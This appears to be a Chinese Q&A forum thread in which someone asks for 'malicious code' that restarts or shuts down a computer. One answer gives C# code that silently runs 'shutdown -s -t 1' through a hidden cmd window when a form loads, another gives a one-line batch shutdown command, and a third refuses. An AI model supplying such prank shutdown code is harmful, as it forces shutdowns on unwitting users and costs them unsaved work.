求一个使计算机重启(关机)的恶意代码

来源:百度知道 编辑:UC知道 时间:2024/06/17 16:31:57
并说明用的是什么语言
谢了

这孩子太坏了,怎么能用这样的东西呢,
这是我以前写的c#
private string runcmd(string cmd)
{

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start();
return p.StandardOutput.ReadToEnd();
}

private void Form1_Load(object sender, EventArgs e)
{
runcmd("shutdown.exe -s -t 1");
this.Close();
}

shutdown -s -t 3
批处理

咋那坏呢,不告诉你